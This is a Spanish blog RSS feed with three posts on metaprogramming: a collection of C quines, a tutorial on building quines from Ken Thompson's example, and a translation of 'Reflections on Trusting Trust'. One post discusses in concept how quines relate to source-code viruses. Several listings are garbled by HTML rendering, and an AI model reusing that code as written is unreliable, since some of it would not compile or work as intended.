"for(n=0;n&lt;8;n++)printf(f,34,x[n],34),puts(&amp;z);",
"for(n=3;n&lt;8;n++)puts(x[n]);}",
},z=0;main(){int n;
printf(*x,34,f,34);puts(&amp;z);
puts(x[1]);puts(x[2]);
for(n=0;n&lt;8;n++)printf(f,34,x[n],34),puts(&amp;z);
for(n=3;n&lt;8;n++)puts(x[n]);}</pre>
<ul>
<li>Autor: John Burger, David Brill, Filip Machi</li>
</ul>
<pre>char *text [] = {
        "char *text [] = {",
        "0 };",
        "main () {",
        "        char newline = 012, quote = 042, escape = 0134, *p, **p;",
        "        printf (\"%s%c\", *text, newline);",
        "        for (pp = text; *pp; pp++) {",
        "                printf (\"        %c\", quote);",
        "                for (p = *pp; *p; p++) {",
        "                        if (*p == quote)",
        "                                putchar (escape);",
        "                        putchar (*p);",
        "                }",
        "                printf (\"%c,%c\", quote, newline);",
        "        }",
        "        for (pp = text + 1; *pp; pp++);",
        "}",
0 };
main () {
        char newline = 012, quote = 042, escape = 0134, *p, **pp;
        printf ("%s%c", *text, newline);

        for (pp = text; *pp; pp++) {
                printf ("        %c", quote);
                for (p = *pp; *p; p++) {
                        if (*p == quote)
                                putchar (escape);
                        putchar (*p);
                }
                printf ("%c,%c", quote, newline);
        }
        for (pp = text + 1; *pp; pp++)
                printf ("%s%c", *pp, newline);</pre>
<ul>
<li>Autor: Daniel Martin</li>
</ul>
<pre>#include&lt;stdio.h&gt;
char *a[] = {"\"};\n\n",
	"main() {\n",
	"  int i=0; char *b;\n",
	"  printf(\"#include&lt;stdio.h&gt;\\nchar *a[] = {\\\"\");\n",
	"  while(*a[i]) {\n",
	"    for(b=a[i];*b;b++)\n",
	"      switch(*b) {\n",
	"         case '\\n': printf(\"\\\\n\"); break;\n",
	"         case '\\\\': case '\\\"': putchar('\\\\'); \n",
	"         default: putchar(*b);\n",
	"      } \n",
	"    printf(\"\\\",\\n\\t\\\"\"); \n",
	"    i++;\n",
	"  }\n",
	"  i=0;\n",
	"  while(*a[i]) {printf(a[i]);i++;}\n",
	"}\n",
	""};

main() {
  int i=0; char *b;
  printf("#include&lt;stdio.h&gt;\nchar *a[] = {\"");
  while(*a[i]) {
    for(b=a[i];*b;b++)
      switch(*b) {
         case '\n': printf("\\n"); break;
         case '\\': case '\"': putchar('\\');
         default: putchar(*b);
      }
    printf("\",\n\t\"");
    i++;
  }
  i=0;
  while(*a[i]) {printf(a[i]);i++;}
}</pre>
<ul>
<li>Autor: Desconocido.</li>
</ul>
<pre>char s[] = "\";\n\
main ()\n\
{ int i; printf (\"char s[] = \\\"\");\n\
  for (i=0; s[i]; i++)\n\
  { switch (s[i]) {\n\
    case '\\n': printf (\"\\\\n\\\\\\n\"); break;\n\
    case '\\\\': printf (\"\\\\\\\\\"); break;\n\
    case '\\\"': printf (\"\\\\\\\"\"); break;\n\
    default:   printf (\"%c\", s[i]); break;}\n\
  }\n\
  printf (\"%s\",s); }\n\
";

main ()

{ int i; printf ("char s[] = \"");
  for (i=0; s[i]; i++)
  { switch (s[i]) {
    case '\n': printf ("\\n\\\n"); break;
    case '\\': printf ("\\\\"); break;
    case '\"': printf ("\\\""); break;
    default:   printf ("%c", s[i]); break;}
  }
  printf ("%s",s); }</pre>
<ul>
<li>Autor: pjs@euclid.jpl.nasa.gov (Peter Scott)</li>
</ul>
<pre>#include stdio 

main()
{
int i;
char *a[27];
  a[0] = "#include stdio";
  a[1] = "";
  a[2] = "main()";
  a[3] = " {";
  a[4] = "   int i;";
  a[5] = "   char *a[27];";
  a[6] = "   for (i = 0; i &lt;= 5; i++) printf (\"\%s\\n\", a[i]);";
  a[7] = "   for (i = 0; i &lt;= 26; i++) printslash (\"   a[\%d] = \\\"\%s\\\";\\n\", i, a[i]);";
  a[8] = "   for (i = 6; i &lt;= 26; i++) printf (\"\%s\\n\", a[i]);";
  a[9] = " }";
  a[10] = "";
  a[11] = "printslash (string, a1, a2)";
  a[12] = "char *string, *a2;";
  a[13] = "int a1;";
  a[14] = " {";
  a[15] = "   char b[100];";
  a[16] = "   int i;";
  a[17] = "   int j = 0;";
  a[18] = "   for (i = 0; i &lt; strlen(a2); i++)";
  a[19] = "    {";
  a[20] = "      char ch = a2[i];";
  a[21] = "      if <img src="http://blog.txipinet.com/index.php/2007/01/07/ch%20==%20%27%5C%5C%5C%5C%27%29" /> b[j++] = '\\\\';";
  a[22] = "      b[j++] = ch;";
  a[23] = "    }";
  a[24] = "   b[j] = '\';";
  a[25] = " printf (string, a1, b);"; a[26] = " }";
  for (i = 0; i &lt;= 5; i++) printf ("%s\n", a[i]);
  for (i = 0; i &lt;= 26; i++) printslash ("   a[%d] = \"%s\";\n", i, a[i]);
  for (i = 6; i &lt;= 26; i++) printf ("%s\n", a[i]);
}
printslash (string, a1, a2)
char *string, *a2;
int a1;
{
char b[100];
int i;
int j = 0;
for (i = 0; i &lt; strlen(a2); i++)
{
      char ch = a2[i];
      if <img src="http://blog.txipinet.com/index.php/2007/01/07/ch%20==%20%27%5C%5C%27%29" /> b[j++] = '\\';
      b[j++] = ch;
}
b[j] = '';
printf (string, a1, b);
}</pre>
<ul>
<li>Autor: Celia La</li>
</ul>
<pre>#include &lt;stdio.h&gt;
char* a = ";

void main() {

char* c;

printf(\"#include &lt;stdio.h&gt;\\nchar* a = \");

putchar(34);
for (c = a; c[0] != 0; c++) {
if (c[0] == 34) { putchar(92); putchar(34); }
else if (c[0] == 92) { putchar(92); putchar(92); }
else putchar(c[0]);
}

putchar(34);
printf(\"%s\", a);}
";

void main() {

char* c;

printf("#include &lt;stdio.h&gt;\nchar* a = ");

putchar(34);
for (c = a; c[0] != 0; c++) {
if (c[0] == 34) { putchar(92); putchar(34); }
else if (c[0] == 92) { putchar(92); putchar(92); }
else putchar(c[0]);
}

putchar(34); 

printf("%s", a);}</pre>
<ul>
<li>Autor: Joseph N. Wilson (jnw@cise.ufl.edu)</li>
</ul>
<pre>char *s= "char *s= \"%s\";\n\n/* Wilson's straightforward self-reproducing program */\n\nchar *q(char *s) {\n  char *r = (char *) malloc (strlen(s)*4 + 1);\n  int i, j = 0;\n\n  for (i=0; i &lt; strlen(s); i<ins>) {\n    switch (s[i]) {\n      case '\\\\': r[j</ins>] = '\\\\'; r[j<ins>] = '\\\\'; break;\n      case '\\\"': r[j</ins>] = '\\\\'; r[j<ins>] = '\\\"'; break;\n      case '\\n': r[j</ins>] = '\\\\'; r[j<ins>] = 'n'; break;\n      default: r[j</ins>] = s[i]; break;\n      }\n    }\n  r[j++] = '\';\n  return r;\n}\n\nmain() {\n  printf(s, q(s));\n}\n";

/* Wilson's straightforward self-reproducing program */

char *q(char *s) {
   char *r = (char *) malloc (strlen(s)*4 + 1);
   int i, j = 0;
   for (i=0; i &lt; strlen(s); i++) {
    switch (s[i]) {
     case '\\': r[j++] = '\\'; r[j++] = '\\'; break;
     case '\"': r[j++] = '\\'; r[j++] = '\"'; break;
     case '\n': r[j++] = '\\'; r[j++] = 'n'; break;
     default: r[j++] = s[i]; break;
     }
   }
 r[j++] = '';
 return r;
}

main() {
  printf(s, q(s));
}</pre>
<ul>
<li>Autor: Dan Hoey</li>
<li>Notas: Modificado ligeramente por Joe Miller. No solamente es un quine, es un palíndromo también,</li>
</ul>
<pre>/**/char q='"',*a="*//**/char q='%c',*a=%c%s%c*/};)b(stup;]d[b=]d-852
[b)--d(elihw;)q,a,q,q,2+a,b(ftnirps{)(niam;031=d tni;]952[b,",b[259];
int d=130;main(){sprintf(b,a+2,q,q,a,q);while(d--)b[258-d]=b[d];puts(
b);}/*c%s%c%=a*,'c%'=q rahc/**//*"=a*,'"'=q rahc/**/</pre>
<ul>
<li>Autor: Dan Hoey</li>
<li>Notas: Otro palíndromo.</li>
</ul>
<pre>/**/char q='"',*a="*//**/char q='%c',*a=%c%s%c*/};)b(stup;]d[b=]d-472[b)--d(elihw;)q,a,q,q,2+a,b(ftnirps;)b(stup{)(niam;731=d tni;]572[b,",b[275];int d=137;main(){puts(b);sprintf(b,a+2,q,q,a,q);while(d--)b[274-d]=b[d];puts(b);}/*c%s%c%=a*,'c%'=q rahc/**//*"=a*,'"'=q rahc/**/</pre>
<ul>
<li>Autor: Dan Hoey</li>
<li>Notas: Y otro palíndromo más.</li>
</ul>
<pre>/**/char
q='"',*a="*//**/char
q='%c',*a=%c%s%c*/};)]d-062[b=]d[b(rahctup)--d(elihw;)q,a,q,q,2+a,b(ftnirps{)(ni
am;162=d tni;]162[b,",b[261];int d=261;main(){sprintf(b,a+2,q,q,a,q);while(d--)p
utchar(b[d]=b[260-d]);}/*c%s%c%=a*,'c%'=q
rahc/**//*"=a*,'"'=q
rahc/**/</pre>
<ul>
<li>Autor: Dan hoey</li>
</ul>
<p>Note: El último palíndromo&#8230;</p>
<pre>/**/main(){char*a=/*/};)q,q,a,q,q,811+a(ftnirp;'"'=q,/**/"/**/main(){char*a=/*/};)q,q,a,q,q,811+a(ftnirp;'c%'=q,/**/c%s%c%/**/,q='c%';printf(a+118,q,q,a,q,q);}/*/=a*rahc{)(niam/**/main(){char*a=/*/};)q,q,a,q,q,811+a(ftnirp;'%c'=q,/**/%c%s%c/**/,q='%c';printf(a+118,q,q,a,q,q);}/*/=a*rahc{)(niam/**/"/**/,q='"';printf(a+118,q,q,a,q,q);}/*/=a*rahc{)(niam/**/</pre>
<ul>
<li>Autor: Dan Hoey</li>
<li>Notas: Se escribe a sí mismo de atrás hacia adelante.</li>
</ul>
<pre>main(){char*a="main(){char*a=c%s%c%,q='c%';printf(a+49,q,q,a,q);};)q,a,q,q,94+a(ftnirp;'%c'=q,%c%s%c=a*rahc{)(niam",q='"';printf(a+49,q,q,a,q);}</pre>
<ul>
<li>Autor: Dan Hoey</li>
<li>Notas: Otro que hace lo propio.</li>
</ul>
<pre>main(){char*a="main(){char*a=c%s%c%;printf(a+42,34,a,34);};)43,a,43,24+a(ftnirp;%c%s%c=a*rahc{)(niam";printf(a+42,34,a,34);}</pre>
<ul>
<li>Autor: smr</li>
<li>Notas: Este programa ganó el premio &#8220;Worst Abuse of the Rules&#8221; en el Campeonato de C ofuscado de 1994 Declara ser el programa en C más pequeño del mundo que escribe su propio código. ¡Además es un palíndromo!. Algunos compiladores dan errores fatales al compilarlo.</li>
</ul>
<p>Bastante pequeño, ¿eh?</p>
<p>Hay muchos otros ejemplos más por la red, esta es solamente una pequeña parte de las grandes recolecciones de quines que se han programado, pero sirve para hacernos una idea de cuánto programador loco hay por el mundo <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/63/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/63/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/63/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/63/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/63/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=63&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2007/01/07/60-meta-programacion-iii-coleccion-de-quines-en-c/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>

		<media:content url="http://blog.txipinet.com/index.php/2007/01/07/ch%20==%20%27%5C%5C%5C%5C%27%29" medium="image" />

		<media:content url="http://blog.txipinet.com/index.php/2007/01/07/ch%20==%20%27%5C%5C%27%29" medium="image" />
	</item>
		<item>
		<title>Meta-programación (II): Cómo construir nuestros propios quines</title>
		<link>http://blog.txipinet.com/2007/01/02/59-meta-programacion-ii-como-construir-nuestros-propios-quines/</link>
		<comments>http://blog.txipinet.com/2007/01/02/59-meta-programacion-ii-como-construir-nuestros-propios-quines/#comments</comments>
		<pubDate>Tue, 02 Jan 2007 00:59:50 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Ken Thompson]]></category>
		<category><![CDATA[Metaprogramación]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[quine]]></category>
		<category><![CDATA[UNIX]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2007/01/02/meta-programacion-ii-como-construir-nuestros-propios-quines/</guid>
		<description><![CDATA[En el anterior artículo ya habíamos avanzado brevemente qué es un quine. Tomando la definición de la Wikipedia, en informática, un quine es un programa (un tipo de metaprograma) que produce su código fuente como única salida. Por diversión, algunos hackers intentan desarrollar el quine más corto posible en cualquier lenguaje de programación. Los quines [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=62&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>En el <a href="http://blog.txipinet.com/index.php/2006/12/28/58-meta-programacion-i-reflexiones-sobre-confiar-en-la-confianza">anterior artículo</a> ya habíamos avanzado brevemente qué es un quine. Tomando la definición de la <a href="http://es.wikipedia.org/wiki/Quine">Wikipedia</a>, en informática, un quine es un programa (un tipo de metaprograma) que produce su código fuente como única salida. Por diversión, algunos hackers intentan desarrollar el quine más corto posible en cualquier lenguaje de programación. Los quines se llaman así por <a href="http://es.wikipedia.org/wiki/Willard_Van_Orman_Quine">Willard Van Orman Quine</a> (1908-2000), que hizo un estudio extensivo de autoreferencia indirecta y sugirió un caso famoso de paradoja sin autoreferencia directa: &#8220;Da como resultado un enunciado falso si es precedido por su cita&#8221;. ¿Estoy confundiéndote con tanta palabrería? Pongámonos manos a la obra&#8230;</p>
<p><span id="more-62"></span></p>
<p class="post-content">&nbsp;</p>
<h3>Primera aproximación a la programación de un quine</h3>
<p>Si me propusieran programar un programa cuya salida es su propio código fuente en un lenguaje de programación interpretado como pueda ser bash scripting, intentaría algo parecido a esto:</p>
<pre>#!/bin/sh
cat $0</pre>
<p>Es decir, sacar por pantalla el contenido del fichero $0, o sea, yo mismo. Sin embargo, esto viola la ley fundamental de la programación de quines: no está permitido leer el propio fichero de código para sacar el código por pantalla. Esta regla se aplica tanto a lenguajes de programación interpretados como a lenguajes compilados, puesto que un programa en C que buscara su fichero fuente en el disco duro y lo sacase por pantalla tampoco se consideraría un quine válido.</p>
<p>Veamos entonces cómo podríamos hacer un quine válido: dado que lo que necesitamos es sacar código fuente por pantalla, usaremos las funciones para escribir en la pantalla en cada lenguaje de programación. Intentémoslo en bash scripting&#8230;</p>
<pre>#!/bin/sh
echo "#!/bin/sh"
echo "echo \"#!/bin/sh\""
echo "echo \"echo \\\"#!/bin/sh\\\"\""
...</pre>
<p>Hummm, parece que así no acabaremos nunca. Probemos en C&#8230;</p>
<pre>#include &lt;stdio.h&gt;
int main(int argc, char **argv)
{
  printf("#include &lt;stdio.h&gt;\nint main(int argc, char **argv)\n{\nprintf(\"#include &lt;stdio.h&gt;\\nint main(int argc, char **argv)\\n{\\nprintf(\"...</pre>
<p>Estamos en las mismas: la cosa va bien hasta que llegamos a la línea en la que estábamos escribiendo por pantalla y se convierte en un bucle recursivo sin salida <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </p>
<h3>Elemental, querido Thompson</h3>
<p>Tenemos que idear algo para romper esa recursividad. El quid está en las referencias, definir una cadena y su valor y poder referirnos a ella tanto por su nombre como por su valor. ¿Cómo? No hay nada mejor que verlo con un ejemplo:</p>
<pre>char s[] = {
	'\t',
	'0',
	'\n',
	'}',
	';',
	'\n',
	'\n',
	'm',
	'a',
	'i',
	'n',
	'(',
	')',
	'\n',
	'{',
	'\n',
	'\t',
	'i',
	'n',
	't',
	' ',
	'i',
	';',
	'\n',
	'\n',
	'\t',
	'p',
	'r',
	'i',
	'n',
	't',
	'f',
	'(',
	'\"',
	'c',
	'h',
	'a',
	'r',
	' ',
	'\\',
	't',
	's',
	'[',
	']',
	' ',
	'=',
	' ',
	'{',
	'\\',
	'n',
	'\"',
	')',
	';',
	'\n',
	'\t',
	'f',
	'o',
	'r',
	'(',
	'i',
	'=',
	'0',
	';',
	's',
	'[',
	'i',
	']',
	';',
	'i',
	'+',
	'+',
	')',
	'\n',
	'\t',
	'\t',
	'p',
	'r',
	'i',
	'n',
	't',
	'f',
	'(',
	'\"',
	'\\',
	'r',
	'%',
	'd',
	',',
	'\\',
	'n',
	'\"',
	',',
	's',
	'[',
	'i',
	']',
	')',
	';',
	'\n',
	'\t',
	'p',
	'r',
	'i',
	'n',
	't',
	'f',
	'(',
	'\"',
	'%',
	's',
	'\"',
	',',
	's',
	')',
	';',
	'\n',
	'}',
	0
};

main() {
int i;

        printf("char \ts[] = {\n");
        for(i=0;s[i];i++)
                printf("\r%d,\n",s[i]);
        printf("%s",s);
}</pre>
<p>¿Os suena el código? Los lectores atentos ya se habrán dado cuenta de que se trata precisamente del código de Ken Thompson del que hablamos en el artículo anterior. Su funcionamiento es simple:</p>
<ol>
<li>Declara un array con gran parte del código fuente del programa.</li>
<li>Comienza la función principal sacando por pantalla la declaración de ese array de caracteres.</li>
<li>Realiza un bucle para ir escribiendo cada uno de sus valores, separados por comas, para completar la declaración del array.</li>
<li>Escribe por pantalla el contenido del propio array, ahora ya todo seguido, es decir, el propio código fuente.</li>
</ol>
<p>Al utilizar una variable de tipo array de caracteres, puede acceder a ella para regenerar el propio array (en el bucle, paso 2), o bien para escribir el propio código fuente (al final, paso 4).</p>
<p>Este programa realmente no se auto-imprime por pantalla, sino que genera un programa que sí se auto-imprime por pantalla:</p>
<pre>$ make thompson
cc     thompson.c   -o thompson
thompson.c: In function 'main':
thompson.c:126: warning: incompatible implicit declaration of built-in function 'printf'
$ ./thompson
char    s[] = {
9,
48,
10,
125,
59,
10,
10,
109,
97,
105,
110,
40,
41,
10,
123,
10,
9,
105,
110,
116,
32,
105,
59,
10,
10,
9,
112,
114,
105,
110,
116,
102,
40,
34,
99,
104,
97,
114,
32,
92,
116,
115,
91,
93,
32,
61,
32,
123,
92,
110,
34,
41,
59,
10,
9,
102,
111,
114,
40,
105,
61,
48,
59,
115,
91,
105,
93,
59,
105,
43,
43,
41,
10,
9,
9,
112,
114,
105,
110,
116,
102,
40,
34,
92,
114,
37,
100,
44,
92,
110,
34,
44,
115,
91,
105,
93,
41,
59,
10,
9,
112,
114,
105,
110,
116,
102,
40,
34,
37,
115,
34,
44,
115,
41,
59,
10,
125,
        0
};

main()
{
        int i;

        printf("char \ts[] = {\n");
        for(i=0;s[i];i++)
                printf("\r%d,\n",s[i]);
        printf("%s",s);
}</pre>
<p>Podemos entonces hacer lo siguiente:</p>
<pre>$ ./thompson &gt; thompson2.c
$ make thompson2
cc     thompson2.c   -o thompson2
thompson2.c: In function 'main':
thompson2.c:243: warning: incompatible implicit declaration of built-in function 'printf'
thompson2.c:247:2: warning: no newline at end of file
$ ./thompson2 &gt; thompson3.c
$ make thompson3
cc     thompson3.c   -o thompson3
thompson3.c: In function 'main':
thompson3.c:243: warning: incompatible implicit declaration of built-in function 'printf'
thompson3.c:247:2: warning: no newline at end of file
$ ls -l thompson[23]*
-rwxr-xr-x 1 txipi txipi 7389 2007-01-02 01:11 thompson2
-rw-r<del>r</del> 1 txipi txipi  757 2007-01-02 01:11 thompson2.c
-rwxr-xr-x 1 txipi txipi 7389 2007-01-02 01:11 thompson3
-rw-r<del>r</del> 1 txipi txipi  757 2007-01-02 01:11 thompson3.c</pre>
<h3>Implicaciones en cuanto a seguridad informática</h3>
<p>Como se ve, a partir de la segunda generación, ya tenemos un quine que genera a su vez quines que pueden ser compilados y ejecutados. Supongo que a alguno se le habrá ocurrido otro tipo de programas en los que suele pasar esto: al programar un virus informático es muy común esto mismo. La primera generación es un poco diferente a las subsiguientes debido a que inicialmente el virus carece de huesped en el que alojarse, pero posteriormente el virus va metaprogramando los programas que encuentra para convertirlos en generadores de su propio código.</p>
<p>¿Podría hacerse un virus apoyándose en el concepto de quine? Si el objetivo es infectar código fuente, parece que el enfoque mediante un quine tiene bastantes probabilidades de éxito. Desde hace un tiempo ya no es necesario especular sobre este hecho: los virus de código fuente existen y en los próximos artículos transcribiré un artículo del e-zine 29a donde se muestran unos cuantos ejemplos funcionales de virus de código C escritos en C.</p>
<p>Dado que C es un lenguaje no interpretado, el virus tendrá dos estados:</p>
<ol>
<li>Código fuente: el virus existe dentro de un fichero de código fuente C, pero no puede infectar a nadie hasta no ser compilado.</li>
<li>Código ejecutable: el virus buscará huéspedes para ser infectados, es decir, ficheros de código fuente C, en los que dejará una copia de su propio código fuente.</li>
</ol>
<p>Este enfoque se me antoja similar al que realizan algunos parásitos orgánicos como el que provoca la toxoplasmosis, que infecta a roedores, pero se reproduce dentro del aparato digestivo de los gatos, por lo que no se reproducirá hasta que el ratón no haya sido comido por el gato (el canalla de toxoplasma gondii, protozoo causante de la toxoplasmosis, hace que los roedores sean más atrevidos, provocando que sean más fácilmente cazados por los gatos).</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/62/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/62/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/62/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=62&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2007/01/02/59-meta-programacion-ii-como-construir-nuestros-propios-quines/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>
	</item>
		<item>
		<title>Meta-programación (I): &quot;Reflexiones sobre confiar en la confianza&quot;</title>
		<link>http://blog.txipinet.com/2006/12/28/58-meta-programacion-i-reflexiones-sobre-confiar-en-la-confianza/</link>
		<comments>http://blog.txipinet.com/2006/12/28/58-meta-programacion-i-reflexiones-sobre-confiar-en-la-confianza/#comments</comments>
		<pubDate>Thu, 28 Dec 2006 00:48:45 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Informática]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[compilador]]></category>
		<category><![CDATA[Ken Thompson]]></category>
		<category><![CDATA[Metaprogramación]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[quine]]></category>
		<category><![CDATA[troyano]]></category>
		<category><![CDATA[UNIX]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2006/12/28/meta-programacion-i-reflexiones-sobre-confiar-en-la-confianza/</guid>
		<description><![CDATA[Hace unas semanas recibí un email de un investigador del CERT en México preguntándome sobre cómo Ken Thompson (padre de C y de UNIX, ahí es nada   ) comentó en un discurso tras la entrega de los premios de la ACM cómo pudo haber troyanizado todo sistema existente derivado de UNIX, como comenté [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=61&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Hace unas semanas recibí un email de un investigador del <a href="http://www.cert.org.mx/">CERT en México</a> preguntándome sobre cómo <a href="http://es.wikipedia.org/wiki/Ken_Thompson">Ken Thompson</a> (padre de C y de UNIX, ahí es nada <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ) comentó en un discurso tras la entrega de los premios de la ACM cómo pudo haber troyanizado todo sistema existente derivado de UNIX, como comenté en mi artículo sobre <a href="http://blog.txipinet.com/index.php/2006/07/27/5-virus-en-gnu-linux">Virus en GNU/Linux</a>. Mucha otra gente lo ha preguntado y siempre los he remitido al <a href="http://www.acm.org/classics/sep95">documento original</a>, pero me voy a permitir la licencia de hacer una traducción informal para quienes no se defiendan bien con la lengua de Shakespeare&#8230; (las correcciones a la traducción son MUY bienvenidas <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p><span id="more-61"></span></p>
<p class="post-content">&nbsp;</p>
<h3><i>Reflexiones sobre confiar en la confianza</i></h3>
<p><i>por Ken Thompson</i></p>
<p>Reimpreso de &#8220;Communication of the ACM&#8221;, Vol. 27, No. 8, August 1984, pp. 761-763. Copyright © 1984, Association for Computing Machinery, Inc. También aparece en &#8220;ACM Turing Award Lectures: The First Twenty Years 1965-1985&#8243;, Copyright © 1987 por ACM press y &#8220;Computers Under Attack: Intruders, Worms, and Viruses&#8221;, Copyright © 1990 por ACM press.</p>
<p>Esto es una copia convertida a digital derivada de un trabajo de la ACM bajo copyright. No está garantizado que sea una copia exacta del trabajo original del autor.</p>
<p>Traducción por Pablo Garaizar Sagarminaga (2006), sin ningún tipo de restricción de copia (salvo las ya existentes en el original).</p>
<h3>Introducción</h3>
<p>Doy gracias a la ACM por esta concesión. No puedo dejar de sentir que estoy recibiendo este honor por la sincronización y la casualidad tanto como por el mérito técnico. UNIX consiguió renombre con un cambio a nivel industrial, de mainframes centrales a los minicomputadores autónomos. Sospecho que Daniel Bobrow (1) estaría aquí en vez de mí si él no hubiera podido producir un PDP-10 y no tuviera que “colocar” un anuncio de un PDP-11. Por otra parte, el estado actual de UNIX es el resultado del trabajo de una gran cantidad de gente.</p>
<p>Hay un viejo adagio, “baila con la que te trajo,” que significa que debo hablar de UNIX. No he trabajado en el UNIX común en muchos años, sin embargo continúo consiguiendo crédito no merecido por el trabajo de otros. Por lo tanto, no voy a hablar de UNIX, sino que deseo dar las gracias a cada uno de los que ha contribuido.</p>
<p>Esto me lleva hasta Dennis Ritchie. Nuestra colaboración ha sido preciosa. En los diez años que hemos trabajado juntos, solamente puedo recordar un caso de descoordinación en el trabajo. En esa ocasión, descubrí que ambos habíamos escrito el mismo programa de 20 lineas en ensamblador. Comparé el código fuente y me asombré al encontrar que coincidían carácter a carácter. El resultado de nuestro trabajo conjunto ha sido mucho mayor que el trabajo que cada uno de nosotros contribuyó.</p>
<p>Soy programador. En mi formulario 1040, eso es lo que pongo como mi ocupación. Como programador, escribo programas. Quisiera presentarles el programa más lindo que escribí nunca. Haré esto en tres etapas e intentaré juntarlo al final.</p>
<h3>Etapa I</h3>
<p>En la universidad, antes de los videojuegos, nos divertíamos planteando ejercicios de programación. Uno de los favoritos era escribir el programa de auto-reproducción más corto. Dado que este era un ejercicio totalmente alejado de la realidad, el lenguaje de programación generalmente era FORTRAN. Realmente, FORTRAN era el lenguaje por el que optábamos por la misma razón que las carreras de tres piernas son populares.</p>
<p>Explicado de forma más precisa, el problema es escribir un programa que, cuando es compilado y ejecutado, produzca como salida una copia exacta de su código fuente. Si nunca has hecho esto, te animo a intentarlo por ti mismo. El descubrimiento de cómo hacerlo es una revelación que sobrepasa de lejos cualquier ventaja obtenida de haber escuchado cómo se hace. La parte sobre &#8220;el más corto&#8221; era solamente un incentivo para demostrar habilidad y para determinar a un ganador.</p>
<pre>char s[] = {
	'\t',
	'0',
	'\n',
	'}',
	';',
	'\n',
	'\n',
	'/',
	'*',
       (213 lines deleted),
 	0
};

/*
 * This string s is a
 * representation of the body
 * of this program from '0'
 * to the end.
 */

main() {

  int i;

  printf("char \ts[] = {\n");
        for(i=0;s[i];i++)
                printf("\r%d,\n",s[i]);
        printf("%s",s);

}</pre>
<p>CUADRO 1</p>
<p>El cuadro I muestra un programa que se auto-reproduce en el lenguaje de programación C (el purista observará que el programa no es exactamente un programa que se auto-reproduce, pero producirá un programa que se auto-reproduce). Este ejemplo es demasiado grande como para ganar un premio, pero demuestra la técnica y tiene dos características importantes que necesito para terminar mi historia:</p>
<ol>
<li>Este programa se puede escribir fácilmente por otro programa.</li>
